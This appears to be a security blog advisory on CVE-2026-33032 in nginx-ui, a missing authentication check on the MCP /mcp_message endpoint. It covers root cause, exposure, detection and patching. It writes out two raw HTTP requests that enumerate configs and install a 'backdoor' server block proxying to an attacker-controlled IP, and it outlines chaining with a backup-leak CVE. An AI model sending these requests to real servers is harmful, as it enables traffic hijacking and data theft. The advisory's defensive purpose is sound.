How a Single Missing Middleware Call Gave Attackers Full nginx-ui Takeover (CVE-2026-33032)
The Short Version
There’s a bug in nginx-ui that’s been sitting in production since the MCP integration landed. A single HTTP endpoint — /mcp_message — handles every destructive operation the MCP tools can perform (config writes, nginx restarts, anything with side effects). It has an IP whitelist. It does NOT have authentication.
The paired endpoint — /mcp — has both.
This is not a zero-day discovered yesterday. This is a vulnerability that was hiding in plain sight from the moment MCP support was added. And it’s been actively exploited since April 2026.
Patch to nginx-ui v2.3.4. If you’ve been running nginx-ui with MCP enabled and haven’t patched — assume you’re compromised and rotate everything.
What Is nginx-ui?
nginx-ui is an open-source web dashboard for managing nginx configurations. Think of it as the GUI alternative to hand-editing /etc/nginx/nginx.conf and sites-available/. It has:
- 11,000+ GitHub stars
- 430,000+ Docker pulls
- A web UI for config editing, certificate management, and nginx process control
It’s popular. It’s self-hosted. And if you’re running it exposed to the internet — which 2,689 people apparently are — you need to read this carefully.
The MCP integration is newer. It lets AI assistants (or any MCP client) drive nginx-ui programmatically — reading configs, writing new ones, triggering reloads. That’s the feature where things went wrong.
The Root Cause: Two Endpoints, One Authentication Gap
Here’s the architecture in four lines:
/mcp → authentication (AuthRequired) + IP whitelist
/mcp_message → IP whitelist ONLY
The /mcp endpoint is what you hit to establish an MCP session — it handles the initial handshake, it checks credentials, it validates the user. That one is correct.
The /mcp_message endpoint is what actually executes the tools once the session is running. Every destructive call — nginx_config_add, nginx_restart, nginx_config_remove, nginx_process_stop — goes through /mcp_message. And this is the endpoint that was shipped without AuthRequired().
The second problem: the IP whitelist defaults to empty. An empty whitelist, in this code, means “allow all.” So in the default configuration, /mcp_message is a fully unauthenticated endpoint sitting on your server, executing privileged nginx operations for anyone who can reach it.
This is CWE-306: Missing Authentication for Critical Function.
The Attack Chain: Two Requests to Full Control
Let’s walk through what active exploitation looks like. This is reconstructed from the technical analysis by Picus Security and confirmed working by threat intelligence sources.
Request 1 — Enumerate the server:
POST /mcp_message HTTP/1.1
Host: target:8443
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_list",
"arguments": {}
}
}
This lists all current nginx configs. No auth required.
Request 2 — Write a malicious config and reload:
POST /mcp_message HTTP/1.1
Host: target:8443
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"path": "/etc/nginx/sites-enabled/backdoor",
"content": "server { listen 80; location / { proxy_pass http://attacker-controlled-ip; } }",
"auto_reload": true
}
}
}
nginx_config_add with auto_reload: true writes the file AND triggers nginx -s reload in the same call. Two HTTP requests. Complete nginx takeover.
From here, an attacker can:
- Proxy traffic to infrastructure they control
- Inject malicious content into responses
- Use the compromised nginx as a jump host to internal services
- Chain with CVE-2026-27944 to extract SSL keys and session tokens from backup files
The Chained Attack: How Internal Becomes Internet
CVE-2026-33032 alone is a LAN attack. You need to be on the same network as the nginx-ui instance. Within a LAN, this is still catastrophic — any compromised workstation or container can pivot to the nginx server.
But pair it with CVE-2026-27944, a separate nginx-ui vulnerability that exposes /api/backup without authentication, and you get remote code execution from anywhere on the internet.
CVE-2026-27944 exposes:
- User account information
- SSL private keys
- nginx configurations
- The
node_secret— the MCP authentication key
With the node_secret, an attacker forges a valid MCP session to /mcp, then uses /mcp_message to execute commands. With just two requests, from anywhere in the world, if nginx-ui is internet-facing.
This is exactly what the Recorded Future Insikt Group documented in their March 2026 most-exploited CVEs list — 31 CVEs, and MCPwn was among them.
Exposure and Impact
- Shodan count: ~2,689 publicly reachable nginx-ui instances with MCP enabled
- CVSS 9.8 — CVSS vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Added to VulnCheck KEV: April 13, 2026
- Patch available: nginx-ui v2.3.4 (released March 15, 2026)
- Discovery credit: Yotam Perkal
The vulnerable versions are all nginx-ui versions up to and including 2.3.3, with MCP enabled.
How to Tell If You’re Vulnerable
Are you running nginx-ui?
Check your running processes or Docker containers:
docker ps | grep nginx-ui
# or
ps aux | grep nginx-ui
Is MCP enabled?
Look for an MCP configuration block in your nginx-ui config file (typically at ~/.nginx-ui/nginx-ui.ini or via environment variables). If ENABLE_MCP=true or the config contains an [mcp] section, MCP is active.
What version?
nginx-ui --version
# or in the Docker container
docker exec nginx-ui --version
If the version is ≤ 2.3.3 and MCP is enabled — you’re vulnerable.
How to Patch
Upgrade to nginx-ui v2.3.4 or later:
docker pull ghcr.io/nginx-proxy/nginx-ui:latest
docker stop
docker rm
docker run -d \
--name=nginx-ui \
-v /etc/nginx:/etc/nginx \
-v /var/run/nginx.sock:/var/run/nginx.sock \
-p 8080:80 \
ghcr.io/nginx-proxy/nginx-ui:latest
System install — check the GitHub releases page for upgrade instructions specific to your install method.
After patching, also:
- Rotate any credentials that may have been exposed
- Check
/etc/nginx/sites-enabled/and/etc/nginx/conf.d/for unexpected config files - Review nginx access logs for anomalous
/mcp_messagerequests - If you were exposed to the internet, treat the instance as fully compromised and rebuild
Why This Keeps Happening
MCP integrations are being added to self-hosted tools at speed. The security model of MCP assumes the transport layer handles auth — but when that assumption breaks at the HTTP endpoint level, you get exactly this class of bug.
The fix in v2.3.4 was adding one line:
AuthRequired()
to the /mcp_message route handler.
One line. If it had been there from the start, this vulnerability doesn’t exist.
The lesson isn’t “don’t use MCP.” The lesson is that every endpoint in an MCP router is a privileged operation handler, and each one needs auth unless explicitly documented otherwise. If you’re integrating MCP into your own tools, audit every route — not just the entry point.
Summary
| CVE | CVE-2026-33032 |
| Name | MCPwn |
| CVSS | 9.8 (Critical) |
| Affected | nginx-ui ≤ v2.3.3 with MCP enabled |
| Fix | Upgrade to v2.3.4 |
| Attack vector | POST to /mcp_message — no auth required |
| Impact | Full nginx config write + auto-reload |
| Exposure | ~2,689 internet-facing instances |
| Status | Actively exploited (VulnCheck KEV, April 2026) |
Patch now. If you have nginx-ui with MCP enabled and you’re on the public internet — you’re in the blast radius.
Author: Christus Vincent | @made.at.2am
Platform: CyberSlide
Published: May 2026
Tags: #cybersecurity #infosec #nginx #CVE #vulnerability #MCPwn #nginxui